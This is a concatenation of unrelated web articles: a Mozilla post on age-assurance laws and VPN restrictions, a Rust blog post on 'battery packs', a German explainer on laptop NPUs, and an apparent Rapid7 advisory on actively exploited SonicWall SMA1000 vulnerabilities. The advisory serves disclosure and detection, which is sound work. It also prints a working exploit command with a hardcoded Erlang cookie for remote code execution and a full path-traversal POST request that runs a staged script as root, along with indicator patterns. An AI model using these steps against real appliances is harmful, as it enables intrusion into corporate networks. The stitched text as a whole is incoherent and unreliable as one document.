Faced with this complexity, and mounting public pressure, policymakers around the world are urgently seeking ways to improve child safety online. Driven by a sense of time running out and promises of new technical solutions to difficult questions, this has led, across jurisdictions, to proposals to restrict young people’s access to certain technologies or platforms by introducing age assurance mandates.

Privacy and user empowerment have always formed a core part of Mozilla’s mission. As we have said before, we support safer spaces for minors, but we caution against approaches that rely on identity checks, surveillance-based enforcement, or exclusionary defaults. Such interventions rely on the collection of personal and sensitive data and, thus, introduce major new privacy and security risks.

While many technologies exist to verify, estimate, or infer users’ ages, fundamental tensions around accessibility, their effectiveness and effects on user’s privacy, security and free expression remain. Technological approaches must be part of wider efforts to address the root causes of online harms. However, the deployment of age assurance technologies will not solve the complex challenge of preparing young people to navigate an increasingly online world and ensure their wellbeing. That will require more holistic approaches: offering education and support to navigate the web safely, addressing harmful business practices and acknowledging the offline factors shaping children’s lives including social inequality, poverty or disparate access to (mental) health care services.

Ineffective age-gating mandates and the dangerous shift toward VPN restrictions

As jurisdictions around the world gain experience with government-mandated age gates for certain services, evidence is mounting that age restrictions are not an effective policy tool. Avoiding age gates is widespread and trivially easy: In Australia, where minors under 16 year of age have been banned from certain social media platforms since December 2025, the government’s Compliance Update reports that seven out of ten young Australians remain online, often skirting age checks by simply entering a fake birthdate. A recent study on the implementation of the UK’s Online Safety Act found that a third of children have bypassed age gates with fairly trivial steps like faking their birthdate, borrowing someone else’s login credentials, or even drawing on facial hair, and that a quarter of parents have helped their children to bypass age assurance systems. In the US, studies indicate that as far back as 2011, 64% of parents who were aware their child under 13 had a social media account were also ones who helped them create that account.

Confronted with the apparent ineffectiveness of age gates, policymakers around the world seem to be shifting their attention to alleged circumvention tools. While research shows that many young people bypass age barriers by using other people’s devices and accounts or tricking age estimation tools by making themselves look older, virtual private networks (VPNs) are increasingly framed as primarily a “loophole” to age gates. VPNs create encrypted “tunnels” between a user’s device and the internet, protecting all internet traffic from that device and concealing users’ IP addresses. VPNs are an essential privacy and security resource for millions of users worldwide, including young people.

Utah’s recent age verification law holds websites hosting age-restricted content liable for verifying the age of anyone physically located in Utah, including individuals using VPNs or proxies. While the law does not ban VPNs outright, it forces websites to either block known VPN IP addresses or verify the age of every visitor globally. In the UK, policymakers debated age gates for VPNs extensively, but stopped short of restricting VPNs after new evidence confirmed that VPNs are not a relevant pathway for children seeking to bypass age checks. In Brazil, the ECA Digital law empowers the regulatory authority to order technical countermeasures against circumvention tools such as VPNs. These developments suggest a worrying trend: well-meaning but ineffective attempts to protect children risk undermining the fundamental rights to privacy, security, and free expression of all users, as well as the health and openness of the web itself.

We are convinced, however, that there are rights-respecting alternatives policymakers can pursue to empower young people online and improve their safety and well-being.

Moving beyond access bans

We strongly believe that online safety frameworks should be grounded in children’s rights, striking a balance between their right to protection and their right to participate in society, express themselves freely, and access media and information. Such frameworks must also be proportionate and should not undermine the fundamental rights and access to tools like VPNs for all users.

Rather than focusing on limiting access, we believe that policymakers should prioritize interventions that tackle the root causes of online harm. Before considering new instruments, this work starts with ensuring that independent regulatory authorities have the necessary resources to enforce existing online safety frameworks. In Europe, preliminary findings against Meta and TikTok find these companies’ addictive design features to be in breach of the Digital Services Act, underlining the potential of frameworks like the DSA to address key concerns.

The design of online interfaces, and the affordances and constraints they offer, significantly influences users’ interactions, decisions and overall wellbeing. ‘Dark patterns’ or deceptive interfaces are key drivers of harms experienced by users, and especially young people: they can compel people to consent to extensive data collection and processing, resulting in hyper-personalized feeds, personalized ads that may exploit cognitive vulnerabilities and promote unhealthy or excessive consumer choices, and an overall erosion of privacy.

This is why we support proposals like EU Digital Fairness Act (DFA) and the American Innovation and Choice Online Act (AICOA) that could fill regulatory gaps. Specifically, we advocate for the prohibition of harmful design, guided by harmonized definitions of core concepts like “dark patterns”, “deceptive design,” and “addictive design” and anti-circumvention clauses to prevent companies from avoiding regulation through small tweaks. Platforms should be responsible for demonstrating that their design choices are fair, non-manipulative and non-exploitative. And services that are likely to be accessed by children should be required to refrain from enabling certain design features, including excessive notifications, endless feeds and gambling-like features by default, and only with parental consent.

Further, we urge policymakers to adopt a privacy-first approach to online harms. Many of the risks encountered by young people online are related to the collection and processing of personal data. Platforms collect enormous amounts of personal data, including sensitive data, to personalize and target services, ranging from algorithmic recommender systems to online ads. While the systems that target and display ads and curate online content are distinct, both are based on the surveillance and profiling of users.

Such profiling is the basis for young people being targeted with personalized ads and content recommendations, which can segment, exclude, or steer people into inequitable options and towards harmful content. Providers should thus be prohibited from using sensitive personal data (e.g. ethnicity, religious belief, health status, sexual orientation, political affiliation) to personalize content recommendations or ads, and they should be mandated to enable privacy-protective settings by default, including restricting access to users’ location, camera, microphone, contacts, and camera roll. Policymakers should also extend the fairness and transparency obligations to personalization systems and advertising actors, including intermediaries and data brokers.

Additionally, everyone online, including families and young people, should be fully in control of their online experiences and navigate the web according to their preferences and needs. There is a significant opportunity to empower users with easy, effective opt-out rights and granular user controls. In practice, users should have the right to opt out of personalized content and targeting without being penalized with a downgraded version of the service. Some frameworks already strengthen choice – in those cases, we advocate for their robust enforcement.

Across jurisdictions, choice can be strengthened by ensuring that preferences explicitly expressed (e.g. settings selected, feedback signals, customization choices made, survey responses) are respected and “sticky”, so do not get reset without being explicitly requested by the user. Interoperability mandates should let people integrate third-party content moderation systems or recommendation algorithms that better match their preferences and help them break out of the walled gardens of a few dominant companies. Parental controls are another important lever to operationalize user controls: Providers should deploy easy-to-use and effective parental controls that allow families to tailor online experiences to their preferences, across platforms.

We appreciate that this is a long list of complex policy recommendations which are also impacted by broader (geo)political developments. The fact remains that current age assurance approaches are not a silver bullet, and will create more, rather than solve, problems in the long term.

Where policymakers consider age signals as necessary to ensure age-appropriate online experiences, we believe that there are technical approaches better suited to balance users’ rights than those currently pursued. We will explore these developments and approaches in the second part of this series.

The post Beyond technical fixes: Protecting kids online without breaking the internet  appeared first on Open Policy & Advocacy.

Tags: #AWS | #Störung

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Read more of this story at Slashdot.

This blog post describes an idea I’ve been kicking around called battery packs. Battery packs are a curated set of crates arranged around a common theme. For example, there’s a CLI battery pack that has everything you need to build a great CLI, an opinionated pack for creating a backend web service, and one for embedded development (based on the Embedded Working Group’s Awesome Rust repository). We’ve also got some smaller ones, such as the error-handling battery pack that shows how to handle errors in Rust. But this is just the beginning – a key part of the battery pack design is that anybody can create one.

Battery packs are meant to address one of the most common things I hear from new Rust adopters. Everyone loves the wealth of high-quality crates available on crates.io. And everyone hates having to spend a bunch of time researching and comparing alternatives. Battery packs can serve as a good set of default choices. And they don’t lock you in. At heart, they’re basically just a list of recommended crates, so you can always swap something out if you find an alternative.

We’ve got a prototype of the battery pack tool working today, so you can try it out if you’re curious. Just run cargo install cargo-bp and then try a few commands! For example,

> cargo bp list

will show you the set of available battery packs, based on a crates.io search (as I’ll explain below, a battery pack is itself packaged and distributed as a crate, but not one that you take a direct dependency on). And cargo bp add will add batteries from a battery pack into your crate, so e.g.

> cargo bp add cli

would let you select and add common CLI libraries. If you want to see a more involved demo, try out cargo bp add embedded, which is derived from the Awesome Embedded Rust repository.

Let’s talk about you and me

One of the key ideas from battery packs is that anybody can publish one. They are just a crate named X-battery-pack; the dependencies of that crate are your recommendations. Features are designations of common sets of crates frequently used together. The examples are your templates. And so forth.

Letting anybody create a battery pack is in contrast to the previous ideas for an “extended standard library for Rust”¹, and it is intended to address some of Rust’s unique challenges. For one thing, it lets people publish battery packs that are tailored to specific requirements. For example, the CLI and backend service battery packs are targeting a “typical computer”. But I could imagine the Rust embedded working group publishing a battery pack with libraries focused on no-std and binary size optimization.

Being open-ended also addresses the “who decides?” question. To my mind, the best people to recommend what libraries you ought to use are other people building systems like yours. This is why I mentioned the Embedded Working Group publishing an Embedded battery pack, for example, as I think they are clearly a set of people who know their space well. But even within the embedded space there are yet smaller groups, and I imagine that sometimes it’ll make sense to get narrower. For example, perhaps a battery pack targeted embassy and its associated ecosystem? Unclear.

Creating a battery pack

If you wanted to create a battery pack, how do you do it? One answer is that you just create a new crate. But a better approach is to use the “battery-pack battery pack”², which bundles a template:

cargo bp new battery-pack

This will prompt you for the name of the battery pack you want to create and a few other things and make your crate. Then you can just use cargo add dependencies to represent the libraries you want to recommend and publish.

“Batteries” are more than dependencies

The “batteries” that you can add to your project aren’t always dependencies. They can also be “recipes” or templates. For example, the CI battery pack³ can configure your project with the kind of “super neat-o” github actions you’ve always wanted but never wanted to bother configuring. To use it, select one or more of the templates to install:

cargo bp add ci

I expect this kind of “actions to improve your crate” to become a rich source of things. Right now we’re using a relatively lightweight template system built on minijinja, but I think we’re going to want to expand on this.

Giving it some structure

Battery Packs also support more than just a flat listing of dependencies/features/templates. You can group dependencies and features into categories and then, for each category, distinguish between “pick at most one” or “pick any number”. For a fun example, try cargo bp add embedded, which is derived from the Awesome Embedded Rust repository. If you run it, you’ll see something like this, which groups the choices thematically and, in some areas like “concurrency framework”, makes it clear that you want to pick one:

──────────────────────────────────────────────────────────────────
 ▼ Concurrency Framework (pick at most one)
 > ○ ✦ embassy [embassy-executor, embassy-sync, embassy-time]
   ○ ✦ rtic [cortex-m, rtic]    RTIC — interrupt-driven real-time

 ▼ Display & Graphics (pick any number)
   [ ] ✦ display-ssd1306 [embedded-graphics, ssd1306]    SSD1306
   [ ] ✦ display-st7789 [embedded-graphics, st7789]    ST7789 col

 ▼ Popular Drivers (pick any number)
   [ ] ✦ display-ssd1306 [embedded-graphics, ssd1306]    SSD1306
   [ ] ✦ display-st7789 [embedded-graphics, st7789]    ST7789 col
   [ ] ✦ sensor-bme280 [bme280]    BME280 temperature/humidity/pr
   [ ] ✦ sensor-lis3dh [lis3dh]    LIS3DH 3-axis accelerometer (I
   [ ] ✦ usb-device [usb-device, usbd-serial]    USB device stack

 ▼ Hardware Abstraction Layer (pick at most one)
   ○ ✦ atsamd [atsamd-hal, cortex-m-rt, critical-section-impl, co
   ○ ✦ esp32 [embedded-hal, esp-hal]    ESP32 (Xtensa, WiFi + BT,
   ○ ✦ esp32c3 [embedded-hal, esp-hal]    ESP32-C3 (RISC-V, WiFi
   ○ ✦ esp32s3 [embedded-hal, esp-hal]    ESP32-S3 (Xtensa, WiFi
   ○ ✦ nrf52832 [cortex-m-rt, critical-section-impl, cortex-m, em
   ○ ✦ nrf52840 [cortex-m-rt, critical-section-impl, cortex-m, em
   ○ ✦ nrf9160 [cortex-m-rt, critical-section-impl, cortex-m, emb
   ○ ✦ rp2040 [cortex-m-rt, critical-section-impl, cortex-m, embe
   ○ ✦ stm32f0 [cortex-m-rt, critical-section-impl, cortex-m, emb
 embedded-battery-pack v0.1.0  ↑↓/jk Navigate | Space Toggle | ←/→

Let’s talk about all the good things…

So why am I so keen on battery packs? It’s largely because I’ve heard so many would-be or recent Rust adopters talk about picking crates as a challenge. But I feel they would help with some other problems as well.

What I really want to see is working groups in the Rust Commercial Network banding together to publish battery packs and recommendations. These would cover the dependencies that they’re actually using.

Supporting maintainers

One of the reasons I want to have RCN-recognized battery packs is that they are a natural focal point to then prompt RCN members to fund the maintenance of those crates. I am imagining that for each sponsored battery pack vended within the RCN, there is an associated “ecosystem fund”. Companies or individuals could sponsor this fund to get access to early patches, security disclosures, etc or other perks. The money would be used to support the maintainers of those crates, to implement missing features, and so forth.

Fostering interoperability

Another value-add from battery packs is the ability to drive interop efforts. I think that as soon as we start talking about standardizing, we’re also going to recognize that there are some places where standardization is hard. For example, early conversations within the network service working group (unsurprisingly) immediately identified that while most people are using tokio, some major companies are using their own runtimes internally. It’s not like the need for “async runtime interop” is news. But right now, every crate winds up effectively implementing their own set of little traits to make it work. Sponsored battery packs offer the possibility of a neutral home for that sort of thing.

…and the bad things that could be

There are some risks to people using battery packs. The most obvious is that the fact that anybody can publish a battery pack may mean that you just get a ton of battery packs, which doesn’t really help anybody! I’m not so worried about this because I think that there will be a few obvious places that most people go first, and then I think once people are oriented, they’ll get excited to explore what crates.io has to offer and start discovering more niche battery packs.

Avoiding stagnation

Battery packs are designed to evolve. I’ve seen it happen a number of times that there is a dominant crate for something, often taking a “traditional approach”, but then somebody else comes along and presents an interesting alternative that gradually takes off. I love that and I don’t want to put it at risk.

One example of evolution around CLI argument parsing. For a time, docopt was a popular way to parse command-line options. Then clap came along and presented a more structured alternative; that was nice, but then structopt came along and connected clap to an auto-derive, so you could just write your data structure and be done. And that was awesome. (That is now the standard in clap.) I want to be sure that, even if there is a CLI battery pack, there’s room for the next clap to come along.

There are a few things about battery pack that I think will help us deal with this. First, they are a “thin abstraction”. You don’t “depend on” a battery pack, you depend on the crates within it. So if a new version comes out that uses clap instead of docopt, that doesn’t impact you at all. Your code keeps working same as it ever did. And of course it helps that anybody can publish a battery pack. You can now have variations on battery packs that are focused around a new approach to help it get started.

Done right, I think that standardized battery packs can also help the ecosystem evolve and pivot. As it is now, knowledge of new crates has to spread by word-of-mouth. But if everybody is aligned around a new approach, adopting that new approach within a battery packs sends a clear signal that your group is aligned that something is the new hotness.

…Let’s talk about crates⁴

“Always bet on the ecosystem”

I see always bet on the ecosystem as a key Rust design axiom. It’s the reason we chose a small standard library and a package manager in the first place. It’s also why battery packs are designed to be published by anyone.

But just like plants sometimes need a trellis to grow taller, any successful ecosystem reaches a point where it needs another layer of structure to help it keep growing. Without that, you have this “layer of tacic knowledge” (in the words of a Rust Vision Doc interviewee) that becomes an obstacle for folks. And I think we’ve reached that point with crates.io.

I am hopeful that battery packs can provide that next layer of structure. But at the end of the day, if there’s a better approach, that’s fine too, so long as we find a way to help people find (and fund!) the crates they need. So let’s talk about it!

Seit einiger Zeit verkaufen die Hersteller Notebooks als KI-PC oder Copilot+ PC. Der Zusatz steht für einen Umbau der inneren Technik. Neben dem Hauptprozessor (CPU) und der Grafikeinheit (GPU) sitzt jetzt ein dritter Baustein auf dem Chip, die neuronale Recheneinheit (Neural Processing Unit, NPU). Die NPU berechnet KI-Funktionen energieeffizient direkt auf dem Gerät. Wer ein KI-Notebook kaufen möchte, sollte auf die entscheidende Leistungskennzahl achten.

Für das Siegel Copilot+ verlangt Microsoft eine NPU mit mindestens 40 TOPS, dazu 16 GByte Arbeitsspeicher und 256 GByte SSD. Aktuelle Notebook-Chips erreichen das mühelos, so kommt Intels Core Ultra Series 3 auf 50 TOPS allein für die NPU.

AMD (Ryzen AI 300 und 400), Qualcomm (Snapdragon X2) und Apple (M-Serie mit Neural Engine) liefern NPUs in ähnlicher Größenordnung. Erst die Rollenverteilung zwischen den drei Rechenwerken sorgt für flüssige KI-Funktionen im täglichen Gebrauch.

Die CPU steuert und verteilt

Die CPU steuert alle Vorgänge im Notebook. Sie startet Programme, verwaltet den Arbeitsspeicher und hält das Betriebssystem aktiv. Ihre wenigen, dafür kräftigen Kerne arbeiten Befehle nacheinander ab und eignen sich für verzweigte Aufgaben mit vielen Entscheidungen.

Bei KI-Funktionen übernimmt die CPU die Rolle des Verteilers. Sie erkennt, welche Art von Aufgabe ansteht, und schickt sie an das passende Rechenwerk. Eine Echtzeitaufgabe geht zur NPU, eine schwere Rechenlast zur GPU, eine reine Systemaufgabe bleibt bei der CPU selbst.

Sobald das Ergebnis vorliegt, fügt die CPU es an der richtigen Stelle ein, zum Beispiel den unscharfen Hintergrund in dein Videobild.

AMD

Die GPU rechnet massiv parallel

Die GPU (Diese Grafikkarten sind ihr Geld wert) rechnet mit Hunderten bis Tausenden kleiner Kerne, die gleiche Rechenschritte gleichzeitig ausführen. Die Bauweise kommt aus der Grafikdarstellung und taugt genauso für KI. Beim Spielen, bei der Videobearbeitung und beim 3D-Rendering liefert die GPU die Rechenleistung, ebenso beim Training großer KI-Modelle und bei schweren parallelen Rechenlasten.

Im Notebook steckt die GPU in zwei Formen. Eine integrierte Grafikeinheit sitzt zusammen mit CPU und NPU auf einem Chip, zum Beispiel Intel Arc oder AMD Radeon. Eine dedizierte Grafikkarte wie eine NVIDIA GeForce RTX bringt eigenen Videospeicher (VRAM) mit und schafft mehr Leistung, zieht dafür mehr Strom und erzeugt mehr Wärme.

XFX

Die NPU spart Strom bei KI

Die NPU ist auf eine einzige Sorte Mathematik ausgelegt, die hinter neuronalen Netzen steckt. Es geht um Matrixrechnungen, also viele Multiplikationen und Additionen auf einmal. Genau dafür nutzt die NPU spezielle Recheneinheiten (MAC) und schnellen Speicher direkt auf dem Chip, damit die Daten kurze Wege haben.

Der große Vorteil ist der niedrige Stromverbrauch. Eine NPU zieht für KI-Aufgaben nur wenige Watt, eine Grafikkarte im Rechenzentrum kommt unter voller Trainingslast auf mehrere Hundert Watt.

Die NPU rechnet zudem häufig mit vereinfachter Genauigkeit (INT8 statt der feineren Formate einer GPU). Das spart Energie und beschleunigt die Antwort, reicht für KI-Inferenz aber völlig aus.

KI-Inferenz meint das Ausführen eines fertig trainierten Modells, also das Anwenden. Das Anlernen des Modells bleibt Sache der GPU. Für Grafik, Spiele oder allgemeine Programme taugt die NPU nicht. Ihre Stärke liegt allein bei KI, die dauerhaft und im Hintergrund aktiv ist.

Sam Singleton

Was TOPS wirklich aussagen

TOPS steht für Tera Operations Per Second, also Billionen Rechenoperationen pro Sekunde. Eine NPU mit 50 TOPS schafft 50 Billionen Rechenoperationen in einer Sekunde. Je höher der Wert, desto mehr KI-Rechenschritte passen in dieselbe Zeit.

Ein Vergleich der TOPS allein ist wenig aussagekräftig. Die NPU rechnet mit vereinfachter Genauigkeit und meldet andere Werte als eine GPU, deren TOPS Grafik und KI zusammenfassen. Desktop-Grafikkarten kommen so auf über 1.000 TOPS, ihre NPU-Kollegen im Notebook auf 40 bis 80. Beide Zahlen messen nicht dasselbe.

Für den Kauf zählt eine Angabe. Wirbt ein Hersteller mit einer hohen Gesamtzahl aus CPU, GPU und NPU, sagt das wenig über das Copilot+ Siegel. Microsoft verlangt die 40 TOPS allein von der NPU. Ein prüfender Blick auf den NPU-Wert im Datenblatt schützt vor Enttäuschung.

Warum lokale KI Ihnen nützt

KI direkt auf dem Notebook (Was kann KI lokal auf dem PC? 7 Anwendungsmöglichkeiten) bringt mehrere handfeste Vorteile gegenüber der Cloud:

• Datenschutz: Fotos, Dokumente und Sprachaufnahmen bleiben auf dem Gerät und gelangen nicht auf fremde Server.
• Tempo: Die Antwort kommt ohne Umweg über das Internet, oft in Echtzeit.
• Offline-Betrieb: Funktionen wie Übersetzung oder Rauschunterdrückung arbeiten auch ohne Verbindung.
• Akku: Die sparsame NPU hält KI-Funktionen aktiv, ohne den Akku schnell zu leeren.

Eine Grenze gehört dazu. Cloud-Dienste wie ChatGPT oder Google Gemini rechnen auf externen Servern. Eine NPU beschleunigt sie nicht, denn die Arbeit passiert gar nicht auf deinem Gerät. Der NPU-Vorteil greift bei lokalen Funktionen, zum Beispiel den KI-Effekten in Videocalls oder einem Sprachmodell, das direkt auf dem Notebook antwortet.

Microsoft

NPU-Funktionen unter Windows

Windows verteilt passende Aufgaben von sich aus an die NPU. In Videocalls sorgen die Windows Studio Effects für Hintergrundunschärfe, korrigierten Blickkontakt und eine ruhigere Tonspur. Live Captions übersetzen gesprochene Sprache in Untertitel, die Funktion Cocreator erzeugt Bilder aus einer Textbeschreibung, und Recall macht frühere Bildschirminhalte durchsuchbar.

Auch außerhalb von Windows nutzen Programme die NPU. Foto- und Videobearbeitung entfernt Objekte, tauscht Hintergründe oder rechnet Bilder hoch. Kleine Sprachmodelle antworten direkt auf dem Notebook, ohne Daten nach außen zu geben. Ob die NPU gerade arbeitet, zeigt der Windows-Task-Manager im Bereich “Leistung”.

NPU, TPU und der Blick über das Notebook

NPUs stecken nicht nur in Notebooks. Smartphones enthalten sie seit Jahren, Apple brachte mit dem iPhone X eine frühe Variante, Huawei kurz darauf eine eigene. Im Rechenzentrum gibt es eine verwandte Sonderform, die TPU (Tensor Processing Unit) von Google. Sie ist auf das KI-Framework TensorFlow zugeschnitten und beschleunigt KI-Dienste in der Cloud.

Kaufhinweise für Ihr KI-Notebook

Die drei Rechenwerke ergänzen sich. Die CPU steuert und verteilt, die GPU liefert rohe Parallelleistung für Grafik und Modelltraining, die NPU erledigt dauerhafte KI-Aufgaben energiesparend. Für ein neues KI-Notebook lohnt der Blick auf den NPU-Wert.

40 TOPS öffnen die Copilot+ Funktionen von Windows, mehr Reserve mit 50 bis 80 TOPS aktueller Chips hält länger für kommende KI-Features vor. Dazu gehören 16 GByte Arbeitsspeicher als sinnvolle Untergrenze. Damit bist du für die KI-Funktionen der nächsten Jahre gut aufgestellt.

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Supply Chain Risks Remain in Focus

On July 14, 2026, SonicWall published a security advisory addressing two vulnerabilities affecting SMA1000 Series remote access appliances, including the critical server-side request forgery (SSRF) vulnerability CVE-2026-15409 (CVSS 10.0) and the high-severity code injection vulnerability CVE-2026-15410. The advisory urges customers to immediately apply the latest platform hotfix releases.

Successful exploitation of CVE-2026-15409 permits an unauthenticated attacker to open a websocket-based tunnel to arbitrary localhost-only services, while CVE-2026-15410 is a local privilege escalation that permits an attacker with access to an internal service listening on port 8188 on localhost to execute arbitrary operating system commands as root via a malicious path traversal-based remove_hotfix workflow.

Both vulnerabilities are being actively exploited in the wild. Prior to SonicWall’s official vulnerability disclosure, Rapid7’s Managed Detection and Response team observed active, targeted zero-day exploitation of internet-facing SMA 1000-series appliances. In the SonicWall advisory, exploitation in the wild was noted, and both CVE-2026-15409 and CVE-2026-15410 have been added to CISA's Known Exploited Vulnerabilities (KEV) catalog. Given the confirmed exploitation activity and the critical unauthenticated impact of the vulnerabilities, organizations should prioritize remediation of SMA1000 appliances on an emergency basis. A Python proof-of-concept for CVE-2026-15409 is available here for exposure validation, and a Metasploit module for the chain is in development.

Affected products include SonicWall SMA1000 Series models 6210, 7210, and 8200v running:

• 12.4.3-03245

• 12.4.3-03387

• 12.4.3-03434 (platform-hotfix)

• 12.5.0-02283

• 12.5.0-02624

• 12.5.0-02800 (platform-hotfix)

These vulnerabilities do not affect SSL VPN functionality on SonicWall firewalls or the SMA 100 Series product line.

Technical overview

The primary vulnerability is in a websocket proxy feature, accessed via the path /wsproxy on the affected “SonicWall WorkPlace” application (served on port 443 by default). This feature permits a netcat-like TCP tunnel to arbitrary hosts and ports, which are provided by the user in URL parameters. By providing host values that point to localhost, the attacker can access local SonicWall appliance system services behind the firewall to send and receive arbitrary TCP traffic to and from them. This is the first-stage vulnerability, CVE-2026-15409, that Rapid7 MDR analysts are seeing attackers exploiting in the wild. With this capability, an attacker can reach and exploit less-hardened services running on the appliance, such as the Erlang application on localhost:1050 or the ctrl-service application on localhost:8188. 

We developed an exploit targeting the Erlang process listening on localhost:1050 for remote code execution. Note that the provided cookie value is hardcoded for the Erlang process, based on our testing, so authentication is not required to establish code execution.

# python3 cve-2026-15409.py --ws-url 'wss://192.168.1.46/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' --ws-user-agent 'SMA Connect Agent' --ws-insecure-tls --cookie 10ecad5b446e86864832904cd439b6b70262 --exec 'whoami && id && pwd && hostname'
Authenticated to couchdb@127.0.0.1
Peer flags: 0xd07df7fbd
Peer creation: 1784069352
RPC os:cmd/1 => couchdb
uid=1010(couchdb) gid=1(daemon) groups=1(daemon)
/opt/couchdb
SMAAppliance.sma

With code execution established, the attacker can escalate to root on the appliance by exploiting CVE-2026-15410, which is a path traversal in the remove_hotfix workflow of ctrl-service. This can be performed via the web console or by hitting port 8188 on the device. The attacker provides a hotfix value containing a path traversal sequence to a malicious script, such as “../../../../var/tmp/privesc”. The system executes the script as root and (typically) reboots the appliance immediately after.
An example malicious request achieving privilege escalation by leveraging this from the web panel is depicted below:

POST /rollbackConfirm.action HTTP/1.1
Host: 192.168.181.46:8443
Cookie: EXTRAWEB_REFERER=%252F; JSESSIONID=node01bcg1tbiy6qi7s97xsoa42lhp8.node0
Content-Length: 134
Cache-Control: max-age=0
Sec-Ch-Ua: "Not?A_Brand";v="24", "Chromium";v="152"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Origin: https://192.168.181.46:8443
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://192.168.181.46:8443/rollbackConfirm.action
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive

csrfToken=GFEJUCQBUZOLUCCOO3YBA8G30ZE9VKDP&command=rollback&rollbackUpgradeTime=&hotfix=../../../../../tmp/1234.sh&rollbackHotfixTime=

If the provided hotfix file does not exist, a reboot does not occur. If the provided file exists, the system reboots after it chmods and executes the file. Below is a system monitor (pspy) depicting output of this occurring during exploitation:

2026/07/09 23:21:00 CMD: UID=0     PID=10355  | chmod +x /var/lib/aventail/avp/rollback/../../../../../tmp/1234.sh
2026/07/09 23:21:00 CMD: UID=0     PID=10355  | /bin/bash /var/lib/aventail/avp/rollback/../../../../../tmp/1234.sh --unattended
2026/07/09 23:21:00 CMD: UID=0     PID=10361  | /usr/bin/python3 /usr/local/ctrl-service/bin/ctrl-service.py
[...]
2026/07/09 23:21:22 CMD: UID=0     PID=11124  | shutdown -r now

A Python proof-of-concept for CVE-2026-15409 is available here; a Metasploit module for the chain is in development.

Mitigation guidance

Organizations operating SonicWall SMA1000 appliances should immediately upgrade to the latest platform hotfix releases.

Fixed versions are:

There are no workarounds available.

Because active exploitation has been confirmed, organizations should not rely solely on patching. SonicWall additionally recommends:

• Performing a thorough forensic review for indicators of compromise.

• Re-imaging physical appliances or redeploying virtual appliances if compromise is identified.

• Changing user and administrator passwords.

• Resetting TOTP tokens following confirmed compromise.

Customers should consult the SonicWall security advisory for the latest remediation guidance and platform hotfix availability.

Observed exploitation

Prior to SonicWall’s official vulnerability disclosure, our Managed Detection and Response team observed active, targeted exploitation of internet-facing SMA 1000-series appliances. Threat actors were primarily leveraging the perimeter appliance as a stealthy initial access vector, executing commands on the operating system by bypassing traditional input validation controls. Once they established a foothold on the appliance, the actors systematically extracted high-value credentials, active session databases, and Time-Based One-Time Password (TOTP) multi-factor authentication (MFA) seed configurations. This local harvesting was designed to ensure long-term, persistent access that could survive standard network-level remediations.

With these harvested resources, the threat actors quickly shifted to lateral movement, pivoting from the compromised appliance directly into the internal corporate network. Specifically, we observed a sequence of anomalous, VPN-less Active Directory authentications targeting core domain controllers. These authentications originated directly from the appliance’s internal IP address, using atypical, non-corporate workstation client names (such as kali or other non-inventory hostnames) under the context of the appliance’s integrated LDAP service account. This unique behavior of direct, machine-level lateral movement with no corresponding active VPN tunnel confirmed that the appliance itself had been fully compromised and was acting as an unmonitored backdoor into the corporate directory infrastructure.

Artifacts or evidence sources and IOCs

Rapid7 recommends reviewing appliance logs for evidence of active exploitation, including the following characteristic behaviors and specific log indicators:

Characteristic Behaviors

• Websocket exploit IOC log patterns: extraweb_access.log entries containing the strings ("GET" AND "wsproxy" AND "=-3389" AND “ 101 “) indicate interactions with the niche affected service. If suspicious host parameter values such as “0.0.0.0”, “localhost”, or “::ffff:127.0.0.1” are present, that’s indicative of likely exploitation of CVE-2026-15409. Note that “serviceType=SSH” was used in our published materials, but options such as “serviceType=TELNET” are viable alternatives.

• Hotfix removal exploit IOC log patterns: The ctrl-service.log shows the hotfix-removal utility (/usr/local/bin/remove_hotfix) being invoked with traversal sequences pointing to attacker-staged shell script payloads (e.g., ../../../../../../tmp/sma1000_5c47.sh). This is indicative of successful exploitation of CVE-2026-15410.

• Internet-facing probing: Enumeration of the SMA portal, including repeated requests to /auth1.html, path-traversal attempts, and generic file/enumeration requests (e.g., /.env, /api/sonicos/is-sslvpn-enabled).

• Authentication activity: Authentication-API activity against /__api__/logon/<session-id>/authenticate.

• Sensitive path access: Access to sensitive appliance paths such as /tmp/temp.db*, consistent with theft of stored session data.

• AD/Service Account Compromise: NTLM logons (Windows Event ID 4624, logon type 3) into internal domain controllers sourced from the appliance's internal IP address, using attacker-controlled workstation names (e.g., kali) without a corresponding VPN session.

• extraweb_access.log: Requests to /__api__/login or /__api__/logout returning HTTP 200, and requests to /wsproxy containing suspicious host parameters returning HTTP 101.

Configuration artifacts

• /var/lib/unit/conf.json containing routes for /__api__/login or /__api__/logout, which are not present in legitimate configurations.

Atomic Indicators

• F.N.S Holdings Limited (ASN - 206092): The threat actor(s) utilized varying IP addresses, but they belonged to the VPN hosting provider FNS Holdings Limited. Limit or block access to FNS Holdings Limited if there is no business need. For reference, the IP addresses we observed were:

• 45.131.194.0/24

• 45.146.54.0/24

• 63.135.161.0/24

• 173.239.211.0/24

• 193.37.32[.]179

• 193.37.32[.]214

• 216.73.163[.]151

• 216.73.163[.]158

If any indicators of compromise are identified, organizations should treat the appliance as compromised and follow SonicWall’s recovery guidance.

Rapid7 customers

Organizations should prioritize identifying all internet-facing SonicWall SMA1000 appliances and determine whether affected software versions remain deployed. Given SonicWall’s and Rapid7’s confirmation of active exploitation, exposed appliances should be considered high-priority assets for remediation.

Security teams should also review available authentication, web access, and appliance management logs for the indicators published by SonicWall to determine whether follow-up incident response activities are warranted.

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers will be able to assess exposure to CVE-2026-15409 and CVE-2026-15410 with authenticated vulnerability checks available in the July 15 content release.

Updates

July 15, 2026: Initial publication.

